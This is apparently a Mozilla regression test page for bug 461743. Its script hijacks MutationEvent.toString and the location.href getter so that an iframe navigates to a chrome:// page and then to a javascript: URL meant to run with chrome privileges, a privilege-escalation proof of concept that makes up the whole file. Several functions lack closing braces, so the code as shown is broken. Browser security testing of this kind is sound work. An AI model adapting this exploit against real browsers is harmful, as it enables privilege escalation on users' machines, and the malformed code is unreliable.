browser_461743_sample.html

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<!-- Testcase originally by <moz_bug_r_a4@yahoo.com> -->

<!DOCTYPE html>

<title>Test for bug 461743</title>

<body>

<iframe src="data:text/html;charset=utf-8,empty"></iframe>

<iframe></iframe>

<script type="application/javascript">

  var chromeUrl = "chrome://global/content/mozilla.html";

  var exploitUrl = "javascript:try { document.body.innerHTML = Components.utils.reportError; } catch (ex) { }";

  var loadCount = 0;

  frames[0].addEventListener("DOMContentLoaded", handleLoad);

  frames[1].addEventListener("DOMContentLoaded", handleLoad);

  function handleLoad() {

    if (++loadCount < 2)

      return;

    frames[0].removeEventListener("DOMContentLoaded", handleLoad);

    frames[1].removeEventListener("DOMContentLoaded", handleLoad);

    var flip = 0;

    MutationEvent.prototype.toString = function() {

      return flip++ == 0 ? chromeUrl : exploitUrl;

};

    var href = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(frames[1].location), "href").get;

    var loadChrome = { handleEvent: href };

    var loadExploit = { handleEvent: href };

    function delay() {

      var xhr = new XMLHttpRequest();

      xhr.open("GET", location.href, false);

      xhr.send(null);

    function done() {

      var event = new MessageEvent("461743", { bubbles: true, cancelable: false,

                                               data: "done", origin: location.href,

                                               source: window });

      document.dispatchEvent(event);

      frames[0].document.removeEventListener("DOMNodeInserted", loadChrome, true);

      frames[0].document.removeEventListener("DOMNodeInserted", delay, true);

      frames[0].document.removeEventListener("DOMNodeInserted", loadExploit, true);

      frames[0].document.removeEventListener("DOMNodeInserted", done, true);

    frames[0].document.addEventListener("DOMNodeInserted", loadChrome, true);

    frames[0].document.addEventListener("DOMNodeInserted", delay, true);

    frames[0].document.addEventListener("DOMNodeInserted", loadExploit, true);

    frames[0].document.addEventListener("DOMNodeInserted", done, true);

    frames[0].document.designMode = "on";

</script>

</body>